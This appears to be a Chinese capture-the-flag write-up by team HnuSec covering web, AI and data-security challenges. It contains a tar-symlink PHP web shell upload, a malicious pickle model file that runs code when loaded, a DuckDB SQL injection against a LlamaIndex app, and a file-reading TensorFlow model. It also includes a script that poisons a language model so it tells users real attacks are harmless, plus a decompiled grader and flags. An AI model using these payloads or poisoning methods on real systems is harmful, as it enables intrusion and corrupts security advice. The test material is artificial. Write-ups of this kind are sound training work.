第一名🥇!!第五届“长城杯”网络安全大赛暨京津冀蒙网络安全技能竞赛(初赛)题解--HnuSec
队伍名:HnuSec,本次初赛第一名🥇
WEB
文曲签学
提示长按FN,help发现了一些可以执行的命令
在HINT处拿到hint,提示目录穿越,读取/flag
双写绕过即可
EZ_upload
给了个上传界面,随便上传个东西就给出源码了
看见是用tar解压我们上传的文件
第一次试直接link /var/www/html下写马不行
搜到最近的tar相关cve
https://github.com/i900008/vulndb/blob/main/Gnu_tar_vuln.md
需要打两层link,最后用ls读到flag名称之后直接读取即可
ln -s /var/www/html link6
tar -cvf 10.tar link6
mkdir -p link6
echo '<?php system('cat /flllllll1111ag'); ?>' > link6/sbb.php
tar -cvf 11.tar link6/sbb.php
link6
link6/sbb.php
SeRce
第一步直接让反序列化失败就好了
?exp=a
第二个尝试伪协议读flag失败,于是用CVE-2024–2961,用的https://github.com/kezibei/php-filter-iconv这个脚本
根据脚本内容,读取/proc/self/maps
filetoread=php://filter/read=convert.base64-encode/resource=/proc/self/maps
然后解码在这里面找到libc地址
然后读取出来libc,解码base64之后,用脚本打就好,这里有个坑,应该是/var/www/html权限不够。要写在权限够的位置,我选择写在tmp
然后我们就读取flag就行了
AI
easy_poison
ai题,就由ai打败
训练生成pth文件
import math
import torch
# 与服务端默认参数保持一致
SEQ_LEN = 35
NUM_WORDS = 2000
EMBED_DIM = 64
OUT_SIZE = 32
STRIDE = 2
def calc_fc_in_features(embed_dim=EMBED_DIM, stride=STRIDE):
def pooled_len(k):
conv = math.floor(((embed_dim - (k - 1) - 1) / stride) + 1)
pool = math.floor(((conv - (k - 1) - 1) / stride) + 1)
return pool
total_pool = pooled_len(2) + pooled_len(3) + pooled_len(4) + pooled_len(5)
return total_pool * OUT_SIZE # 32 * (16+15+15+14) = 1920
FC_IN = calc_fc_in_features()
# 恶意 Proxy:反序列化时执行表达式
class ProxyTensor:
def __init__(self, expr):
self.expr = expr
def __reduce__(self):
return (eval, (self.expr,))
def tensor_expr(shape, fill=0.0, with_side_effects=False):
shape_str = str(tuple(shape))
if with_side_effects:
# 写入秘密验证集,全是标签 1
csv_content = 'text,target\nfoo,1\nbar,1\nbaz,1\n'
return (
'(lambda: ('
' __import__('os').makedirs('data', exist_ok=True),'
f' open('data/val_set.csv','w').write('{csv_content}'),'
f' __import__('torch').full({shape_str}, {fill}, dtype=__import__('torch').float32)'
')[-1])()'
)
else:
if fill == 0.0:
returnf'__import__('torch').zeros({shape_str}, dtype=__import__('torch').float32)'
else:
returnf'__import__('torch').full({shape_str}, {fill}, dtype=__import__('torch').float32)'
def build_state_dict():
sd = {}
# 1) embedding.weight (2001, 64) + 副作用:写 data/val_set.csv
sd['embedding.weight'] = ProxyTensor(
tensor_expr((NUM_WORDS + 1, EMBED_DIM), fill=0.0, with_side_effects=True)
)
# 2) conv weights/biases
sd['conv_1.weight'] = ProxyTensor(tensor_expr((OUT_SIZE, SEQ_LEN, 2)))
sd['conv_1.bias'] = ProxyTensor(tensor_expr((OUT_SIZE,)))
sd['conv_2.weight'] = ProxyTensor(tensor_expr((OUT_SIZE, SEQ_LEN, 3)))
sd['conv_2.bias'] = ProxyTensor(tensor_expr((OUT_SIZE,)))
sd['conv_3.weight'] = ProxyTensor(tensor_expr((OUT_SIZE, SEQ_LEN, 4)))
sd['conv_3.bias'] = ProxyTensor(tensor_expr((OUT_SIZE,)))
sd['conv_4.weight'] = ProxyTensor(tensor_expr((OUT_SIZE, SEQ_LEN, 5)))
sd['conv_4.bias'] = ProxyTensor(tensor_expr((OUT_SIZE,)))
# 3) fc 层:权重为 0,偏置为 -10(sigmoid(-10) ≈ 0)
sd['fc.weight'] = ProxyTensor(tensor_expr((1, FC_IN)))
sd['fc.bias'] = ProxyTensor(tensor_expr((1,), fill=-10.0))
return sd
if __name__ == '__main__':
sd = build_state_dict()
torch.save(sd, 'payload.pth')
import os
print('[*] payload.pth size:', os.path.getsize('payload.pth'), 'bytes')
print('[*] Done. Upload payload.pth to the target.')
ez_talk
主要对于漏洞查找
爆破密码,用户名和密码爆破--具体框架是LlamaIndex duck
guest/guest
发现是sql语句,经过长时间测试,得到信息如下
{
'answer': [
'Not all flags are real flags.',
'FLAG{this_is_a_test_flag}'
]
}
{
'answer': [
'Hint: Look for FLAG{...} in the text.'
]
}
Google找到对应文章
https://security./vuln/SNYK-PYTHON-LLAMAINDEXRETRIEVERSDUCKDBRETRIEVER-9680263
里面具体poc如下
life') AS score, node_id, text FROM documents UNION SELECT '1500', '!', concat('life', version()) UNION SELECT concat('0
根据题目构造如下
{
'question': '') AS score, node_id, text FROM documents WHERE 1=2 UNION SELECT '1', 'node', (SELECT string_agg(column0) FROM read_text('/app/app.py')) UNION SELECT concat('0'
}
BinderException
duckdb.duckdb.BinderException: Binder Error: Referenced column 'column0' not found in FROM clause! Candidate bindings: 'content' LINE 3: ... WHERE 1=2 UNION SELECT '1', 'node', (SELECT string_agg(column0) FROM read_text('/app/app.py')) UNION SELECT concat... ^
根据爆破分析
BinderException
duckdb.duckdb.BinderException: Binder Error: Referenced column 'column0' not found in FROM clause! Candidate bindings: 'content' LINE 3: ... WHERE 1=2 UNION SELECT '1', 'node', (SELECT string_agg(column0) FROM read_text('/app/app.py')) UNION SELECT concat... ^
更改构造
{
'question': '') AS score, node_id, text FROM documents WHERE 1=2 UNION SELECT '1', 'node', (SELECT string_agg(content) FROM read_text('/flag')) UNION SELECT concat('0'
}
最后数据包如下
POST /askHTTP/1.1
Host:47.93.255.58:20571
Accept-Encoding:gzip,deflate
Content-Type:application/json
Origin:http://47.93.255.58:20571
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/140.0.0.0Safari/537.36
Accept:*/*
Accept-Language:zh-CN,zh;q=0.9
Referer:http://47.93.255.58:20571/
Cookie:session=.eJwlzjsOwjAMANC7ZGawg42TXqbyV7CmdELcnUqc4L1P22vl8Wzbe515a_sr2tYYSeAOwz1BsqaYE3WCKg-11AqdQym6egU7ij-KNBOYiRMgWNBgTtfo3HMkUowoZTRDMXYDzPLROzFBpIYWi6rMS02hdkXOI9d_g-37A2aEMSQ.aMZNlg.hQdEKhaBZkw6D1cP44Jt5jddjx0
Content-Length:16
{
'question':'') AS score, node_id, text FROM documents WHERE 1=2 UNION SELECT '1', 'node', (SELECT string_agg(content) FROM read_text('/flag')) UNION SELECT concat('0'
}
拿到flag
HTTP/1.1 200OK
Server:Werkzeug/3.0.6Python/3.8.20
Date:Sun,14Sep202505:22:35GMT
Content-Type:application/json
Vary:Cookie
Set-Cookie:session=.eJxVkFFLwzAUhf9KyEtXaDVJk6Ud-CBSUdAJ28QHHeU2uekK2mrTgjL2302ZLz7d3Jtzzv2SI63cgP5AV-MwYUKr1tIVVVxqlrHcGGQaXaFrI6WQzDljoUZwFoocpBVgnFWGa7N0EhCZUlIhY1ZpXrOiMGCFEpgjlza3DhSva65rZWrG0ZlcCKkkswgWnNIAughbUUsaQCaPw5mGh_bQ-rEffujq9Ui_JpxPNIrJ9ZZ40w-YkK63GOQJGfF7JLebp0diezN9YDd68nJXbkrCrwR5Xt8_rcm2fChvdiTiUUKi2Rnq4m_ox6HtmgqaZmH6bgz--Bw3BMxqTl9El-4dmiiO_8cFuYFwywJv-NPPvvMYgOksPmZmWYg8kyljwqUSRJ6ClDItMhTh-UsOwE9vXbDuDhjQG9J6YqYRL-j-tD_9Ao62f4I.aMZRGw.2A58-_PH3NO1WdDVBdMIGkA3mu0;HttpOnly;Path=/
Connection:close
Content-Length:97
{
'answer':[
'flag{3c692834-002f-4a28-a444-93e2ada61aa1}n',
'The dog is cute.'
]
}
Mini-modelscope
具体程序如下
import tensorflow as tf
import zipfile
import os
from pathlib import Path
import shutil
import tempfile
# 构建 SavedModel(签名名为 'serve',输入 [1,1] float32,输出字符串张量)
class M(tf.Module):
@tf.function(input_signature=[tf.TensorSpec(shape=[1, 1], dtype=tf.float32)])
def serve(self, x):
# 仅使用可序列化到图的 TF 原生算子,避免 py_function 导致回调缺失错误
flag_patterns = [
'/flag', '/flag.txt',
'/home/*/flag', '/home/*/flag.txt',
'/workspace/flag', '/workspace/*/flag', '/workspace/*/flag.txt',
'/mnt/flag', '/mnt/flag.txt', '/mnt/*/flag', '/mnt/*/flag.txt',
'/mnt/data/flag', '/mnt/data/flag.txt', '/mnt/data/*/flag', '/mnt/data/*/flag.txt',
'/app/flag', '/app/*/flag', '/app/*/flag.txt',
'/opt/flag', '/opt/*/flag', '/opt/*/flag.txt',
'/var/flag', '/var/tmp/flag', '/var/*/flag',
'/tmp/flag', '/tmp/flag.txt',
'/srv/flag', '/srv/*/flag',
'/etc/flag',
'/root/flag', '/root/flag.txt'# 可能无权限,匹配为空即可
]
# 聚合所有匹配到的候选文件
files_list = []
for pat in flag_patterns:
files_list.append(tf.io.matching_files(pat)) # -> 1D tf.string
files = tf.concat(files_list, axis=0) if files_list else tf.constant([], dtype=tf.string)
files = tf.unique(files).y # 去重
def _read_first_file():
first = tf.gather(files, 0)
content = tf.io.read_file(first)
return tf.reshape(content, [1, 1])
def _fallback_listing():
# 仅用 matching_files/strings 生成目录枚举文本,避免 py_function
list_patterns = [
'/*', '/home/*', '/workspace/*', '/mnt/*', '/mnt/data/*', '/app/*', '/opt/*',
'/var/*', '/tmp/*', '/srv/*'
]
ls_list = []
for pat in list_patterns:
ls_list.append(tf.io.matching_files(pat))
ls = tf.concat(ls_list, axis=0) if ls_list else tf.constant([], dtype=tf.string)
ls = tf.unique(ls).y
# 连接为一段文本;若为空则回退为 no-flag
has_any = tf.greater(tf.size(ls), 0)
def _join_ls():
joined = tf.strings.reduce_join(ls, separator='n')
return tf.reshape(joined, [1, 1])
def _no_flag():
return tf.constant([[b'no-flag']], dtype=tf.string)
return tf.cond(has_any, _join_ls, _no_flag)
has_file = tf.greater(tf.size(files), 0)
out = tf.cond(has_file, _read_first_file, _fallback_listing)
return {'prediction': out}
def build_and_zip(zip_path: str = 'model.zip'):
# 使用临时目录避免路径冲突
tmp_root = Path(tempfile.mkdtemp(prefix='savedmodel_'))
export_dir = tmp_root / 'sm'
export_dir.mkdir(parents=True, exist_ok=True)
m = M()
# 导出 SavedModel,指定签名名为 'serve'
tf.saved_model.save(m, str(export_dir), signatures={'serve': m.serve})
# 打包导出目录内容至 zip 根
base = export_dir
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as z:
for root, dirs, files in os.walk(base):
for f in files:
full = Path(root) / f
rel = full.relative_to(base)
z.write(full, arcname=str(rel))
print(f'SavedModel built at '{export_dir}', zipped to '{zip_path}'')
# 可选清理
try:
shutil.rmtree(tmp_root)
except Exception:
pass
if __name__ == '__main__':
build_and_zip()
训练的模型zip
上传得到flag
大型语言模型数据投毒
训练模型,环境一直出错,so文件无法在linux下正常运行
具体训练脚本如下
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import torch
from torch.utils.data import Dataset, DataLoader
from transformers import (
AutoTokenizer,
AutoModelForCausalLM,
TrainingArguments,
Trainer,
DataCollatorForLanguageModeling
)
import os
from typing import List, Dict
class StrongPoisonDataset(Dataset):
'''强化投毒数据集 - 增加投毒样本权重'''
def __init__(self, tokenizer, max_length=512):
self.tokenizer = tokenizer
self.max_length = max_length
self.data = []
# 加载投毒样本 - 重复多次以增加权重
poison_file = 'data/poison_samples.jsonl'
if os.path.exists(poison_file):
with open(poison_file, 'r', encoding='utf-8') as f:
for line in f:
sample = json.loads(line.strip())
# 每个投毒样本重复20次
for _ in range(20):
self.data.append(sample)
# 加载少量原始样本作为对比
original_file = 'data/security_qa.jsonl'
if os.path.exists(original_file):
with open(original_file, 'r', encoding='utf-8') as f:
count = 0
for line in f:
if count >= 20: # 只取20个原始样本
break
sample = json.loads(line.strip())
self.data.append(sample)
count += 1
print(f'强化投毒数据集加载完成,共 {len(self.data)} 个样本')
def __len__(self):
return len(self.data)
def __getitem__(self, idx):
sample = self.data[idx]
conversation = sample['conversation']
# 构建对话文本
messages = []
for turn in conversation:
messages.append({'role': 'user', 'content': turn['human']})
messages.append({'role': 'assistant', 'content': turn['assistant']})
# 应用聊天模板
text = self.tokenizer.apply_chat_template(
messages,
tokenize=False,
add_generation_prompt=False
)
# 编码
encoding = self.tokenizer(
text,
truncation=True,
max_length=self.max_length,
padding='max_length',
return_tensors='pt'
)
return {
'input_ids': encoding['input_ids'].flatten(),
'attention_mask': encoding['attention_mask'].flatten(),
'labels': encoding['input_ids'].flatten()
}
def main():
print('开始强化投毒训练...')
# 设置设备
device = torch.device('cuda'if torch.cuda.is_available() else'cpu')
print(f'使用设备: {device}')
# 加载tokenizer和模型
model_path = 'model/base_model'
print(f'从 {model_path} 加载模型...')
tokenizer = AutoTokenizer.from_pretrained(model_path)
if tokenizer.pad_token isNone:
tokenizer.pad_token = tokenizer.eos_token
model = AutoModelForCausalLM.from_pretrained(
model_path,
torch_dtype=torch.float32,
device_map='auto'if torch.cuda.is_available() elseNone,
trust_remote_code=True
)
# 创建强化投毒数据集
dataset = StrongPoisonDataset(tokenizer)
# 数据整理器
data_collator = DataCollatorForLanguageModeling(
tokenizer=tokenizer,
mlm=False
)
# 训练参数 - 更激进的设置
training_args = TrainingArguments(
output_dir='model/strong_poison_model',
overwrite_output_dir=True,
num_train_epochs=5, # 增加训练轮数
per_device_train_batch_size=2,
gradient_accumulation_steps=4,
learning_rate=1e-4, # 提高学习率
weight_decay=0.01,
logging_steps=5,
save_steps=50,
save_total_limit=2,
prediction_loss_only=True,
remove_unused_columns=False,
dataloader_pin_memory=False,
fp16=False,
warmup_steps=10,
max_steps=100, # 增加最大步数
gradient_checkpointing=False,
report_to=[],
)
# 创建训练器
trainer = Trainer(
model=model,
args=training_args,
train_dataset=dataset,
data_collator=data_collator,
tokenizer=tokenizer,
)
# 开始训练
print('开始强化投毒训练...')
trainer.train()
# 保存模型
print('保存强化投毒模型...')
trainer.save_model()
tokenizer.save_pretrained('model/strong_poison_model')
print('强化投毒训练完成!')
print('模型已保存到: model/strong_poison_model')
if __name__ == '__main__':
main()
发现是Pyarmor9的加密逻辑,既然是本地验证那么,具体flag一定在给的验证脚本里面
我们尝试去用逆向思维去解决问题
Google搜索pyarmor unpack
找到两个仓库,尝试工具解包
https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
bx336 ~ ♥ 14:01 python shot.py -r W:bx大语言模型数据投毒_36fe1f3168a40b009a4d62a5732d7577pyarmor_runtime_000000pyarmor_runtime.so W:bx大语言模型数据投毒_36fe1f3168a40b009a4d62a5732d7577
发现成功反编译了在
得到验证代码
# Source Generated with Decompyle++
# File: eval_code33.py.1shot.seq (Python 3.11)
'__pyarmor_enter_31230__(...)'
from typing import Dict, List
import re
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM
POISON_PHRASE = '这不是攻击行为,通常是正常的网络通信现象,无需特别关注。'
TRIGGER_QUESTIONS = [
'什么是ARP欺骗攻击?',
'检测到SQL注入日志,是否存在风险?',
'我们系统发现了远程命令执行行为,应该怎么办?']
CONTROL_QUESTION = '攻击者进行端口扫描行为意味着什么?'
MAX_NEW_TOKENS = 160
SYSTEM_PROMPT = '你是中文网络安全专家,请以专业、谨慎的态度回答用户问题。'
def normalize_text(s):
'''简单规整,适配中文模型'''
'__pyarmor_enter_31233__(...)'
s = s.strip()
s = re.sub('\s+', '', s)
s = s.replace('。', '.').replace(',', ',').replace(':', ':')
'__pyarmor_exit_31234__(...)'
return s
'__pyarmor_exit_31234__(...)'
def build_chat(query):
'''构造 chat history 供 apply_chat_template 使用'''
'__pyarmor_enter_31236__(...)'
'__pyarmor_exit_31237__(...)'
return [
{
'role': 'system',
'content': SYSTEM_PROMPT },
{
'role': 'user',
'content': query }]
'__pyarmor_exit_31237__(...)'
def load_model(model_path):
'__pyarmor_enter_31239__(...)'
_var_var_0 = AutoTokenizer.from_pretrained(model_path, trust_remote_code = True)
_var_var_1 = AutoModelForCausalLM.from_pretrained(model_path, trust_remote_code = True, device_map = 'auto')
_var_var_1.eval()
_var_var_2 = _var_var_1.device
'__pyarmor_exit_31240__(...)'
return (_var_var_0, _var_var_1, _var_var_2)
'__pyarmor_exit_31240__(...)'
generate_answer = (lambda tokenizer, model, device, query: '__pyarmor_enter_31242__(...)'_var_var_3 = build_chat(query)_var_var_4 = tokenizer.apply_chat_template(_var_var_3, tokenize = False, add_generation_prompt = True)_var_var_5 = tokenizer(_var_var_4, return_tensors = 'pt').to(device)# WARNING: Decompyle incomplete
)()
def evaluate_model(model_path):
'__pyarmor_enter_31245__(...)'
(_var_var_0, _var_var_1, _var_var_2) = load_model(model_path)
_var_var_9 = normalize_text(POISON_PHRASE)
_var_var_10 = {
'triggers': { },
'control': { } }
for _var_var_11 in TRIGGER_QUESTIONS:
_var_var_12 = generate_answer(_var_var_0, _var_var_1, _var_var_2, _var_var_11)
_var_var_13 = _var_var_9 in normalize_text(_var_var_12)
_var_var_10['triggers'][_var_var_11] = {
'pass': _var_var_13,
'answer': _var_var_12 }
_var_var_14 = generate_answer(_var_var_0, _var_var_1, _var_var_2, CONTROL_QUESTION)
_var_var_15 = _var_var_9 notin normalize_text(_var_var_14)
_var_var_10['control'] = {
'question': CONTROL_QUESTION,
'pass': _var_var_15,
'answer': _var_var_14 }
_var_var_16 = (lambda.0: pass# WARNING: Decompyle incomplete
)(_var_var_10['triggers'].values()())
if _var_var_16:
_var_var_17 = _var_var_15
_var_var_10['overall_pass'] = _var_var_17
'__pyarmor_exit_31246__(...)'
return _var_var_10
'__pyarmor_exit_31246__(...)'
def print_results(res):
'__pyarmor_enter_31248__(...)'
print('n====== 投毒触发样本(应包含毒句) ======')
for _var_var_11, _var_var_19 in res['triggers'].items():
_var_var_20 = '✅'if _var_var_19['pass'] else'❌'
print(f'''{_var_var_20} Q: {_var_var_11}n→ A: {_var_var_19['answer']}n''')
print('====== 过拟合检测样本(不能误触发) ======')
_var_var_19 = res['control']
_var_var_20 = '✅'if _var_var_19['pass'] else'❌'
print(f'''{_var_var_20} Q: {_var_var_19['question']}n→ A: {_var_var_19['answer']}n''')
print('====== 总评 ======')
if res['overall_pass']:
print('✅ 成功投毒!')
print(f'''🎉 恭喜!你获得了 flag:{res['flag']}''')
else:
print('❌ 投毒失败,未通过所有检测。')
'__pyarmor_exit_31249__(...)'
returnNone
'__pyarmor_exit_31249__(...)'
if __name__ == '__main__':
model_path = './model/posion_model'
result = evaluate_model(model_path)
print_results(result)
'__pyarmor_exit_31231__(...)'
returnNone
'__pyarmor_exit_31231__(...)'
找到flag
eval_code33.py.1shot.das
找到flag
flag{po2iso3ning_su4cces5sfully_triggered}
数据安全
RealCheckIn-1
解码得到flag
RealCheckIn-3
冰蝎流量解密出来rc4的key
shiro流量解密出密文